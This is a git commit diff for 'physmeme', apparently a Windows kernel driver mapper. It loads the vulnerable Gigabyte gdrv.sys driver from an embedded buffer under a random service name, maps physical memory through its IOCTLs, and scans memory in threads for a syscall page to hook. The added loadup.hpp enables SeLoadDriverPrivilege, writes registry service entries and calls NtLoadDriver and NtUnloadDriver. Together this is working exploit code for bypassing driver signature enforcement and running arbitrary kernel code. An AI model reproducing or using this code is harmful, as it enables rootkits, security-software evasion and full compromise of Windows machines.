- added loadup.hpp

- changed examples
- changed code to use gdrv by default since physmem64.sys doesnt work on
  windows 10 - 2004
merge-requests/1/head
xerox 5 years ago
parent 346ba9677a
commit 71557ef62d

Binary file not shown.

Binary file not shown.

@ -2,125 +2,91 @@
#include <windows.h> #include <windows.h>
#include <mutex> #include <mutex>
#include <cstdint> #include <cstdint>
#include <filesystem>
#include <iostream>
#include <map> #include <map>
#include "../util/util.hpp"
#include "../loadup.hpp"
#include "../raw_driver.hpp"
#pragma pack ( push, 1 ) #pragma pack ( push, 1 )
typedef struct _GIOMAP typedef struct _GIOMAP
{ {
unsigned long interface_type; unsigned long interface_type;
unsigned long bus; unsigned long bus;
uintptr_t physical_address; std::uintptr_t physical_address;
unsigned long io_space; unsigned long io_space;
unsigned long size; unsigned long size;
} GIOMAP; } GIOMAP;
#pragma pack ( pop ) #pragma pack ( pop )
constexpr char driver_name[] = "gdrv";
inline const char* driver_path = (std::filesystem::current_path().string() + "\\driver\\gdrv.sys").c_str();
namespace physmeme namespace physmeme
{ {
/* inline std::string drv_key;
please code this function depending on your method of physical read/write.
*/ //
// please code this function depending on your method of physical read/write.
//
inline HANDLE load_drv() inline HANDLE load_drv()
{ {
const SC_HANDLE manager = OpenSCManager(nullptr, nullptr, SC_MANAGER_CREATE_SERVICE); const auto [result, key] = driver::load(raw_driver, sizeof(raw_driver));
drv_key = key;
if (!manager)
return false; return CreateFile(
"\\\\.\\GIO",
SC_HANDLE service_handle = CreateService(manager, GENERIC_READ | GENERIC_WRITE,
driver_name, NULL,
driver_name, NULL,
SERVICE_START | SERVICE_STOP | DELETE, SERVICE_KERNEL_DRIVER, OPEN_EXISTING,
SERVICE_DEMAND_START, FILE_ATTRIBUTE_NORMAL,
SERVICE_ERROR_IGNORE, NULL
driver_path, nullptr, nullptr, nullptr, nullptr, nullptr); );
if (!service_handle)
service_handle = OpenService(manager, driver_name, SERVICE_START);
if (!service_handle)
{
CloseServiceHandle(manager);
return false;
}
bool result = StartService(service_handle, 0, nullptr);
if (!result)
printf("[-] failed to start service, last_error=%d\n", GetLastError());
CloseServiceHandle(service_handle);
CloseServiceHandle(manager);
auto handle = CreateFile("\\\\.\\GIO", GENERIC_READ | GENERIC_WRITE, 0, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
std::cout << "[+] service started, handle: " << handle << std::endl;
return handle;
} }
inline HANDLE drv_handle = load_drv(); //
// please code this function depending on your method of physical read/write.
/* //
please code this function depending on your method of physical read/write.
*/
inline bool unload_drv() inline bool unload_drv()
{ {
const SC_HANDLE manager = OpenSCManager(nullptr, nullptr, SC_MANAGER_CREATE_SERVICE); return driver::unload(drv_key);
if (!manager)
return false;
const SC_HANDLE service_handle = OpenService(manager, driver_name, SERVICE_STOP | DELETE);
if (!service_handle)
{
CloseServiceHandle(manager);
return false;
}
SERVICE_STATUS status = { 0 };
bool result = ControlService(service_handle, SERVICE_CONTROL_STOP, &status);
DeleteService(service_handle);
CloseServiceHandle(service_handle);
CloseServiceHandle(manager);
return result;
} }
/* inline HANDLE drv_handle = load_drv();
please code this function depending on your method of physical read/write.
*/ //
// please code this function depending on your method of physical read/write.
//
inline std::uintptr_t map_phys( inline std::uintptr_t map_phys(
std::uintptr_t addr, std::uintptr_t addr,
std::size_t size std::size_t size
) )
{ {
//--- ensure the validity of the address we are going to try and map
if (!util::is_valid(addr))
return NULL;
GIOMAP in_buffer = { 0, 0, addr, 0, size }; GIOMAP in_buffer = { 0, 0, addr, 0, size };
uintptr_t out_buffer[2] = { 0 }; uintptr_t out_buffer[2] = { 0 };
unsigned long returned = 0; unsigned long returned = 0;
DeviceIoControl(drv_handle, 0xC3502004, reinterpret_cast<LPVOID>(&in_buffer), sizeof(in_buffer), DeviceIoControl(drv_handle, 0xC3502004, reinterpret_cast<LPVOID>(&in_buffer), sizeof(in_buffer),
reinterpret_cast<LPVOID>(out_buffer), sizeof(out_buffer), &returned, NULL); reinterpret_cast<LPVOID>(out_buffer), sizeof(out_buffer), &returned, NULL);
return out_buffer[0]; return out_buffer[0];
} }
/* //
please code this function depending on your method of physical read/write. // please code this function depending on your method of physical read/write.
*/ //
inline bool unmap_phys( inline bool unmap_phys(
std::uintptr_t addr, std::uintptr_t addr,
std::size_t size std::size_t size
) )
{ {
uintptr_t in_buffer = addr; uintptr_t in_buffer = addr;
uintptr_t out_buffer[2] = { 0 }; uintptr_t out_buffer[2] = {sizeof(out_buffer)};
unsigned long returned = 0; unsigned long returned = NULL;
DeviceIoControl(drv_handle, 0xC3502008, reinterpret_cast<LPVOID>(&in_buffer), sizeof(in_buffer), DeviceIoControl(drv_handle, 0xC3502008, reinterpret_cast<LPVOID>(&in_buffer), sizeof(in_buffer),
reinterpret_cast<LPVOID>(out_buffer), sizeof(out_buffer), &returned, NULL); reinterpret_cast<LPVOID>(out_buffer), sizeof(out_buffer), &returned, NULL);
return out_buffer[0]; return out_buffer[0];
} }
} }

@ -0,0 +1,278 @@
/*
MIT License
Copyright (c) 2020 xerox
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
*/
#pragma once
#include <Windows.h>
#include <Winternl.h>
#include <string>
#include <fstream>
#include <filesystem>
#pragma comment(lib, "ntdll.lib")
using nt_load_driver_t = NTSTATUS(__fastcall*)(PUNICODE_STRING);
using nt_unload_driver_t = NTSTATUS(__fastcall*)(PUNICODE_STRING);
namespace driver
{
namespace util
{
inline bool delete_service_entry(const std::string& service_name)
{
HKEY reg_handle;
static const std::string reg_key("System\\CurrentControlSet\\Services\\");
auto result = RegOpenKeyA(
HKEY_LOCAL_MACHINE,
reg_key.c_str(),
&reg_handle
);
return ERROR_SUCCESS == RegDeleteKeyA(reg_handle, service_name.data()) && ERROR_SUCCESS == RegCloseKey(reg_handle);;
}
inline bool create_service_entry(const std::string& drv_path, const std::string& service_name)
{
HKEY reg_handle;
std::string reg_key("System\\CurrentControlSet\\Services\\");
reg_key += service_name;
auto result = RegCreateKeyA(
HKEY_LOCAL_MACHINE,
reg_key.c_str(),
&reg_handle
);
if (result != ERROR_SUCCESS)
return false;
//
// set type to 1 (kernel)
//
constexpr std::uint8_t type_value = 1;
result = RegSetValueExA(
reg_handle,
"Type",
NULL,
REG_DWORD,
&type_value,
4u
);
if (result != ERROR_SUCCESS)
return false;
//
// set error control to 3
//
constexpr std::uint8_t error_control_value = 3;
result = RegSetValueExA(
reg_handle,
"ErrorControl",
NULL,
REG_DWORD,
&error_control_value,
4u
);
if (result != ERROR_SUCCESS)
return false;
//
// set start to 3
//
constexpr std::uint8_t start_value = 3;
result = RegSetValueExA(
reg_handle,
"Start",
NULL,
REG_DWORD,
&start_value,
4u
);
if (result != ERROR_SUCCESS)
return false;
//
// set image path to the driver on disk
//
result = RegSetValueExA(
reg_handle,
"ImagePath",
NULL,
REG_SZ,
(std::uint8_t*) drv_path.c_str(),
drv_path.size()
);
if (result != ERROR_SUCCESS)
return false;
return ERROR_SUCCESS == RegCloseKey(reg_handle);
}
// this function was coded by paracord: https://githacks.org/snippets/4#L94
inline bool enable_privilege(const std::wstring& privilege_name)
{
HANDLE token_handle = nullptr;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token_handle))
return false;
LUID luid{};
if (!LookupPrivilegeValueW(nullptr, privilege_name.data(), &luid))
return false;
TOKEN_PRIVILEGES token_state{};
token_state.PrivilegeCount = 1;
token_state.Privileges[0].Luid = luid;
token_state.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!AdjustTokenPrivileges(token_handle, FALSE, &token_state, sizeof(TOKEN_PRIVILEGES), nullptr, nullptr))
return false;
CloseHandle(token_handle);
return true;
}
inline std::string get_service_image_path(const std::string& service_name)
{
HKEY reg_handle;
DWORD bytes_read;
char image_path[0xFF];
static const std::string reg_key("System\\CurrentControlSet\\Services\\");
auto result = RegOpenKeyA(
HKEY_LOCAL_MACHINE,
reg_key.c_str(),
&reg_handle
);
result = RegGetValueA(
reg_handle,
service_name.c_str(),
"ImagePath",
REG_SZ,
NULL,
image_path,
&bytes_read
);
RegCloseKey(reg_handle);
return std::string(image_path);
}
}
inline bool load(const std::string& drv_path, const std::string& service_name)
{
if (!util::enable_privilege(L"SeLoadDriverPrivilege"))
return false;
if (!util::create_service_entry("\\??\\" + std::filesystem::absolute(std::filesystem::path(drv_path)).string(), service_name))
return false;
std::string reg_path("\\Registry\\Machine\\System\\CurrentControlSet\\Services\\");
reg_path += service_name;
static const auto lp_nt_load_drv =
::GetProcAddress(
GetModuleHandleA("ntdll.dll"),
"NtLoadDriver"
);
if (lp_nt_load_drv)
{
ANSI_STRING driver_rep_path_cstr;
UNICODE_STRING driver_reg_path_unicode;
RtlInitAnsiString(&driver_rep_path_cstr, reg_path.c_str());
RtlAnsiStringToUnicodeString(&driver_reg_path_unicode, &driver_rep_path_cstr, true);
return ERROR_SUCCESS == reinterpret_cast<nt_load_driver_t>(lp_nt_load_drv)(&driver_reg_path_unicode);
}
return false;
}
inline std::tuple<bool, std::string> load(const std::vector<std::uint8_t>& drv_buffer)
{
static const auto random_file_name = [](std::size_t length) -> std::string
{
static const auto randchar = []() -> char
{
const char charset[] =
"0123456789"
"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
"abcdefghijklmnopqrstuvwxyz";
const std::size_t max_index = (sizeof(charset) - 1);
return charset[rand() % max_index];
};
std::string str(length, 0);
std::generate_n(str.begin(), length, randchar);
return str;
};
const auto service_name = random_file_name(16);
const auto file_path = std::filesystem::temp_directory_path().string() + random_file_name(16);
std::ofstream output_file(file_path.c_str(), std::ios::binary);
output_file.write((char*)drv_buffer.data(), drv_buffer.size());
output_file.close();
return { load(file_path, service_name), service_name };
}
inline std::tuple<bool, std::string> load(const std::uint8_t* buffer, const std::size_t size)
{
std::vector<std::uint8_t> image(buffer, buffer + size);
return load(image);
}
inline bool unload(const std::string& service_name)
{
std::string reg_path("\\Registry\\Machine\\System\\CurrentControlSet\\Services\\");
reg_path += service_name;
static const auto lp_nt_unload_drv =
::GetProcAddress(
GetModuleHandleA("ntdll.dll"),
"NtUnloadDriver"
);
if (lp_nt_unload_drv)
{
ANSI_STRING driver_rep_path_cstr;
UNICODE_STRING driver_reg_path_unicode;
RtlInitAnsiString(&driver_rep_path_cstr, reg_path.c_str());
RtlAnsiStringToUnicodeString(&driver_reg_path_unicode, &driver_rep_path_cstr, true);
const bool unload_drv = !reinterpret_cast<nt_unload_driver_t>(lp_nt_unload_drv)(&driver_reg_path_unicode);
const auto image_path = util::get_service_image_path(service_name);
const bool delete_drv = std::filesystem::remove(image_path);
const bool delete_reg = util::delete_service_entry(service_name);
return unload_drv && delete_drv && delete_reg;
}
return false;
}
}

@ -164,8 +164,10 @@
<ItemGroup> <ItemGroup>
<ClInclude Include="drv_image\drv_image.h" /> <ClInclude Include="drv_image\drv_image.h" />
<ClInclude Include="kernel_ctx\kernel_ctx.h" /> <ClInclude Include="kernel_ctx\kernel_ctx.h" />
<ClInclude Include="loadup.hpp" />
<ClInclude Include="map_driver.hpp" /> <ClInclude Include="map_driver.hpp" />
<ClInclude Include="physmeme\physmeme.hpp" /> <ClInclude Include="physmeme\physmeme.hpp" />
<ClInclude Include="raw_driver.hpp" />
<ClInclude Include="util\hook.hpp" /> <ClInclude Include="util\hook.hpp" />
<ClInclude Include="util\nt.hpp" /> <ClInclude Include="util\nt.hpp" />
<ClInclude Include="util\util.hpp" /> <ClInclude Include="util\util.hpp" />

@ -61,5 +61,11 @@
<ClInclude Include="map_driver.hpp"> <ClInclude Include="map_driver.hpp">
<Filter>Header Files</Filter> <Filter>Header Files</Filter>
</ClInclude> </ClInclude>
<ClInclude Include="loadup.hpp">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="raw_driver.hpp">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup> </ItemGroup>
</Project> </Project>

@ -5,67 +5,87 @@
#include <map> #include <map>
#include "../util/util.hpp" #include "../util/util.hpp"
#include "../loadup.hpp"
#include "../raw_driver.hpp"
#pragma pack ( push, 1 )
typedef struct _GIOMAP
{
unsigned long interface_type;
unsigned long bus;
std::uintptr_t physical_address;
unsigned long io_space;
unsigned long size;
} GIOMAP;
#pragma pack ( pop )
namespace physmeme namespace physmeme
{ {
inline std::string drv_key;
// //
// please code this function depending on your method of physical read/write. // please code this function depending on your method of physical read/write.
// //
static std::uintptr_t map_phys( inline HANDLE load_drv()
std::uintptr_t addr,
std::size_t size
)
{ {
//--- ensure the validity of the address we are going to try and map const auto [result, key] = driver::load(raw_driver, sizeof(raw_driver));
if (!util::is_valid(addr)) drv_key = key;
return NULL;
static const auto map_phys_ptr = return CreateFile(
reinterpret_cast<__int64(__fastcall*)(__int64, unsigned)>( "\\\\.\\GIO",
GetProcAddress(LoadLibrary("pmdll64.dll"), "MapPhyMem")); GENERIC_READ | GENERIC_WRITE,
return map_phys_ptr ? map_phys_ptr(addr, size) : false; NULL,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
} }
// //
// please code this function depending on your method of physical read/write. // please code this function depending on your method of physical read/write.
// //
static bool unmap_phys( inline bool unload_drv()
std::uintptr_t addr,
std::size_t size
)
{ {
static const auto unmap_phys_ptr = return driver::unload(drv_key);
reinterpret_cast<__int64(*)(__int64, unsigned)>(
GetProcAddress(LoadLibrary("pmdll64.dll"), "UnmapPhyMem"));
return unmap_phys_ptr ? unmap_phys_ptr(addr, size) : false;
} }
inline HANDLE drv_handle = load_drv();
// //
// please code this function depending on your method of physical read/write. // please code this function depending on your method of physical read/write.
// //
static HANDLE load_drv() inline std::uintptr_t map_phys(
std::uintptr_t addr,
std::size_t size
)
{ {
static const auto load_driver_ptr = //--- ensure the validity of the address we are going to try and map
reinterpret_cast<__int64(*)()>( if (!util::is_valid(addr))
GetProcAddress(LoadLibrary("pmdll64.dll"), "LoadPhyMemDriver")); return NULL;
if (load_driver_ptr)
load_driver_ptr();
//--- i dont ever use this handle, its just an example of what you should do. GIOMAP in_buffer = { 0, 0, addr, 0, size };
return CreateFileA("\\\\.\\PhyMem", 0xC0000000, 3u, 0i64, 3u, 0x80u, 0i64); uintptr_t out_buffer[2] = { 0 };
unsigned long returned = 0;
DeviceIoControl(drv_handle, 0xC3502004, reinterpret_cast<LPVOID>(&in_buffer), sizeof(in_buffer),
reinterpret_cast<LPVOID>(out_buffer), sizeof(out_buffer), &returned, NULL);
return out_buffer[0];
} }
// //
// please code this function depending on your method of physical read/write. // please code this function depending on your method of physical read/write.
// //
static bool unload_drv() inline bool unmap_phys(
std::uintptr_t addr,
std::size_t size
)
{ {
static const auto unload_driver_ptr = uintptr_t in_buffer = addr;
reinterpret_cast<__int64(*)()>( uintptr_t out_buffer[2] = {sizeof(out_buffer)};
GetProcAddress(LoadLibrary("pmdll64.dll"), "UnloadPhyMemDriver"));
return unload_driver_ptr ? unload_driver_ptr() : false;
}
static HANDLE drv_handle = load_drv(); unsigned long returned = NULL;
} DeviceIoControl(drv_handle, 0xC3502008, reinterpret_cast<LPVOID>(&in_buffer), sizeof(in_buffer),
reinterpret_cast<LPVOID>(out_buffer), sizeof(out_buffer), &returned, NULL);
return out_buffer[0];
}
}

File diff suppressed because it is too large Load Diff

@ -21,10 +21,21 @@ namespace physmeme
printf("[+] page offset of %s is 0x%llx\n", syscall_hook.first.data(), nt_page_offset); printf("[+] page offset of %s is 0x%llx\n", syscall_hook.first.data(), nt_page_offset);
printf("[+] ntoskrnl_buffer: 0x%p\n", ntoskrnl_buffer); printf("[+] ntoskrnl_buffer: 0x%p\n", ntoskrnl_buffer);
printf("[!] ntoskrnl_buffer was 0x%p, nt_rva was 0x%p\n", ntoskrnl_buffer, nt_rva); printf("[+] ntoskrnl_buffer was 0x%p, nt_rva was 0x%p\n", ntoskrnl_buffer, nt_rva);
std::vector<std::thread> search_threads;
//--- for each physical memory range, make a thread to search it
for (auto ranges : util::pmem_ranges) for (auto ranges : util::pmem_ranges)
map_syscall(ranges.first, ranges.second); search_threads.emplace_back(std::thread(
&kernel_ctx::map_syscall,
this,
ranges.first,
ranges.second
));
for (std::thread& search_thread : search_threads)
search_thread.join();
printf("[+] psyscall_func: 0x%p\n", psyscall_func.load()); printf("[+] psyscall_func: 0x%p\n", psyscall_func.load());
} }

@ -0,0 +1,278 @@
/*
MIT License
Copyright (c) 2020 xerox
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
*/
#pragma once
#include <Windows.h>
#include <Winternl.h>
#include <string>
#include <fstream>
#include <filesystem>
#pragma comment(lib, "ntdll.lib")
using nt_load_driver_t = NTSTATUS(__fastcall*)(PUNICODE_STRING);
using nt_unload_driver_t = NTSTATUS(__fastcall*)(PUNICODE_STRING);
namespace driver
{
namespace util
{
inline bool delete_service_entry(const std::string& service_name)
{
HKEY reg_handle;
static const std::string reg_key("System\\CurrentControlSet\\Services\\");
auto result = RegOpenKeyA(
HKEY_LOCAL_MACHINE,
reg_key.c_str(),
&reg_handle
);
return ERROR_SUCCESS == RegDeleteKeyA(reg_handle, service_name.data()) && ERROR_SUCCESS == RegCloseKey(reg_handle);;
}
inline bool create_service_entry(const std::string& drv_path, const std::string& service_name)
{
HKEY reg_handle;
std::string reg_key("System\\CurrentControlSet\\Services\\");
reg_key += service_name;
auto result = RegCreateKeyA(
HKEY_LOCAL_MACHINE,
reg_key.c_str(),
&reg_handle
);
if (result != ERROR_SUCCESS)
return false;
//
// set type to 1 (kernel)
//
constexpr std::uint8_t type_value = 1;
result = RegSetValueExA(
reg_handle,
"Type",
NULL,
REG_DWORD,
&type_value,
4u
);
if (result != ERROR_SUCCESS)
return false;
//
// set error control to 3
//
constexpr std::uint8_t error_control_value = 3;
result = RegSetValueExA(
reg_handle,
"ErrorControl",
NULL,
REG_DWORD,
&error_control_value,
4u
);
if (result != ERROR_SUCCESS)
return false;
//
// set start to 3
//
constexpr std::uint8_t start_value = 3;
result = RegSetValueExA(
reg_handle,
"Start",
NULL,
REG_DWORD,
&start_value,
4u
);
if (result != ERROR_SUCCESS)
return false;
//
// set image path to the driver on disk
//
result = RegSetValueExA(
reg_handle,
"ImagePath",
NULL,
REG_SZ,
(std::uint8_t*) drv_path.c_str(),
drv_path.size()
);
if (result != ERROR_SUCCESS)
return false;
return ERROR_SUCCESS == RegCloseKey(reg_handle);
}
// this function was coded by paracord: https://githacks.org/snippets/4#L94
inline bool enable_privilege(const std::wstring& privilege_name)
{
HANDLE token_handle = nullptr;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token_handle))
return false;
LUID luid{};
if (!LookupPrivilegeValueW(nullptr, privilege_name.data(), &luid))
return false;
TOKEN_PRIVILEGES token_state{};
token_state.PrivilegeCount = 1;
token_state.Privileges[0].Luid = luid;
token_state.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!AdjustTokenPrivileges(token_handle, FALSE, &token_state, sizeof(TOKEN_PRIVILEGES), nullptr, nullptr))
return false;
CloseHandle(token_handle);
return true;
}
inline std::string get_service_image_path(const std::string& service_name)
{
HKEY reg_handle;
DWORD bytes_read;
char image_path[0xFF];
static const std::string reg_key("System\\CurrentControlSet\\Services\\");
auto result = RegOpenKeyA(
HKEY_LOCAL_MACHINE,
reg_key.c_str(),
&reg_handle
);
result = RegGetValueA(
reg_handle,
service_name.c_str(),
"ImagePath",
REG_SZ,
NULL,
image_path,
&bytes_read
);
RegCloseKey(reg_handle);
return std::string(image_path);
}
}
inline bool load(const std::string& drv_path, const std::string& service_name)
{
if (!util::enable_privilege(L"SeLoadDriverPrivilege"))
return false;
if (!util::create_service_entry("\\??\\" + std::filesystem::absolute(std::filesystem::path(drv_path)).string(), service_name))
return false;
std::string reg_path("\\Registry\\Machine\\System\\CurrentControlSet\\Services\\");
reg_path += service_name;
static const auto lp_nt_load_drv =
::GetProcAddress(
GetModuleHandleA("ntdll.dll"),
"NtLoadDriver"
);
if (lp_nt_load_drv)
{
ANSI_STRING driver_rep_path_cstr;
UNICODE_STRING driver_reg_path_unicode;
RtlInitAnsiString(&driver_rep_path_cstr, reg_path.c_str());
RtlAnsiStringToUnicodeString(&driver_reg_path_unicode, &driver_rep_path_cstr, true);
return ERROR_SUCCESS == reinterpret_cast<nt_load_driver_t>(lp_nt_load_drv)(&driver_reg_path_unicode);
}
return false;
}
inline std::tuple<bool, std::string> load(const std::vector<std::uint8_t>& drv_buffer)
{
static const auto random_file_name = [](std::size_t length) -> std::string
{
static const auto randchar = []() -> char
{
const char charset[] =
"0123456789"
"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
"abcdefghijklmnopqrstuvwxyz";
const std::size_t max_index = (sizeof(charset) - 1);
return charset[rand() % max_index];
};
std::string str(length, 0);
std::generate_n(str.begin(), length, randchar);
return str;
};
const auto service_name = random_file_name(16);
const auto file_path = std::filesystem::temp_directory_path().string() + random_file_name(16);
std::ofstream output_file(file_path.c_str(), std::ios::binary);
output_file.write((char*)drv_buffer.data(), drv_buffer.size());
output_file.close();
return { load(file_path, service_name), service_name };
}
inline std::tuple<bool, std::string> load(const std::uint8_t* buffer, const std::size_t size)
{
std::vector<std::uint8_t> image(buffer, buffer + size);
return load(image);
}
inline bool unload(const std::string& service_name)
{
std::string reg_path("\\Registry\\Machine\\System\\CurrentControlSet\\Services\\");
reg_path += service_name;
static const auto lp_nt_unload_drv =
::GetProcAddress(
GetModuleHandleA("ntdll.dll"),
"NtUnloadDriver"
);
if (lp_nt_unload_drv)
{
ANSI_STRING driver_rep_path_cstr;
UNICODE_STRING driver_reg_path_unicode;
RtlInitAnsiString(&driver_rep_path_cstr, reg_path.c_str());
RtlAnsiStringToUnicodeString(&driver_reg_path_unicode, &driver_rep_path_cstr, true);
const bool unload_drv = !reinterpret_cast<nt_unload_driver_t>(lp_nt_unload_drv)(&driver_reg_path_unicode);
const auto image_path = util::get_service_image_path(service_name);
const bool delete_drv = std::filesystem::remove(image_path);
const bool delete_reg = util::delete_service_entry(service_name);
return unload_drv && delete_drv && delete_reg;
}
return false;
}
}

@ -164,7 +164,9 @@
<ItemGroup> <ItemGroup>
<ClInclude Include="drv_image\drv_image.h" /> <ClInclude Include="drv_image\drv_image.h" />
<ClInclude Include="kernel_ctx\kernel_ctx.h" /> <ClInclude Include="kernel_ctx\kernel_ctx.h" />
<ClInclude Include="loadup.hpp" />
<ClInclude Include="physmeme\physmeme.hpp" /> <ClInclude Include="physmeme\physmeme.hpp" />
<ClInclude Include="raw_driver.hpp" />
<ClInclude Include="util\hook.hpp" /> <ClInclude Include="util\hook.hpp" />
<ClInclude Include="util\nt.hpp" /> <ClInclude Include="util\nt.hpp" />
<ClInclude Include="util\util.hpp" /> <ClInclude Include="util\util.hpp" />

@ -58,5 +58,11 @@
<ClInclude Include="physmeme\physmeme.hpp"> <ClInclude Include="physmeme\physmeme.hpp">
<Filter>Header Files\physmeme</Filter> <Filter>Header Files\physmeme</Filter>
</ClInclude> </ClInclude>
<ClInclude Include="loadup.hpp">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="raw_driver.hpp">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup> </ItemGroup>
</Project> </Project>

@ -5,67 +5,88 @@
#include <map> #include <map>
#include "../util/util.hpp" #include "../util/util.hpp"
#include "../loadup.hpp"
#include "../raw_driver.hpp"
#pragma pack ( push, 1 )
typedef struct _GIOMAP
{
unsigned long interface_type;
unsigned long bus;
std::uintptr_t physical_address;
unsigned long io_space;
unsigned long size;
} GIOMAP;
#pragma pack ( pop )
namespace physmeme namespace physmeme
{ {
inline std::string drv_key;
// //
// please code this function depending on your method of physical read/write. // please code this function depending on your method of physical read/write.
// //
static std::uintptr_t map_phys( inline HANDLE load_drv()
std::uintptr_t addr,
std::size_t size
)
{ {
//--- ensure the validity of the address we are going to try and map const auto [result, key] = driver::load(raw_driver, sizeof(raw_driver));
if (!util::is_valid(addr)) drv_key = key;
return NULL;
static const auto map_phys_ptr = return CreateFile(
reinterpret_cast<__int64(__fastcall*)(__int64, unsigned)>( "\\\\.\\GIO",
GetProcAddress(LoadLibrary("pmdll64.dll"), "MapPhyMem")); GENERIC_READ | GENERIC_WRITE,
return map_phys_ptr ? map_phys_ptr(addr, size) : false; NULL,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
} }
// //
// please code this function depending on your method of physical read/write. // please code this function depending on your method of physical read/write.
// //
static bool unmap_phys( inline bool unload_drv()
std::uintptr_t addr,
std::size_t size
)
{ {
static const auto unmap_phys_ptr = return driver::unload(drv_key);
reinterpret_cast<__int64(*)(__int64, unsigned)>(
GetProcAddress(LoadLibrary("pmdll64.dll"), "UnmapPhyMem"));
return unmap_phys_ptr ? unmap_phys_ptr(addr, size) : false;
} }
inline HANDLE drv_handle = load_drv();
// //
// please code this function depending on your method of physical read/write. // please code this function depending on your method of physical read/write.
// //
static HANDLE load_drv() inline std::uintptr_t map_phys(
std::uintptr_t addr,
std::size_t size
)
{ {
static const auto load_driver_ptr = //--- ensure the validity of the address we are going to try and map
reinterpret_cast<__int64(*)()>( if (!util::is_valid(addr))
GetProcAddress(LoadLibrary("pmdll64.dll"), "LoadPhyMemDriver")); return NULL;
if (load_driver_ptr) GIOMAP in_buffer = { 0, 0, addr, 0, size };
load_driver_ptr(); uintptr_t out_buffer[2] = { 0 };
unsigned long returned = 0;
DeviceIoControl(drv_handle, 0xC3502004, reinterpret_cast<LPVOID>(&in_buffer), sizeof(in_buffer),
reinterpret_cast<LPVOID>(out_buffer), sizeof(out_buffer), &returned, NULL);
return out_buffer[0];
//--- i dont ever use this handle, its just an example of what you should do.
return CreateFileA("\\\\.\\PhyMem", 0xC0000000, 3u, 0i64, 3u, 0x80u, 0i64);
} }
// //
// please code this function depending on your method of physical read/write. // please code this function depending on your method of physical read/write.
// //
static bool unload_drv() inline bool unmap_phys(
std::uintptr_t addr,
std::size_t size
)
{ {
static const auto unload_driver_ptr = uintptr_t in_buffer = addr;
reinterpret_cast<__int64(*)()>( uintptr_t out_buffer[2] = {sizeof(out_buffer)};
GetProcAddress(LoadLibrary("pmdll64.dll"), "UnloadPhyMemDriver"));
return unload_driver_ptr ? unload_driver_ptr() : false;
}
static HANDLE drv_handle = load_drv(); unsigned long returned = NULL;
} DeviceIoControl(drv_handle, 0xC3502008, reinterpret_cast<LPVOID>(&in_buffer), sizeof(in_buffer),
reinterpret_cast<LPVOID>(out_buffer), sizeof(out_buffer), &returned, NULL);
return out_buffer[0];
}
}

File diff suppressed because it is too large Load Diff
Loading…
Cancel
Save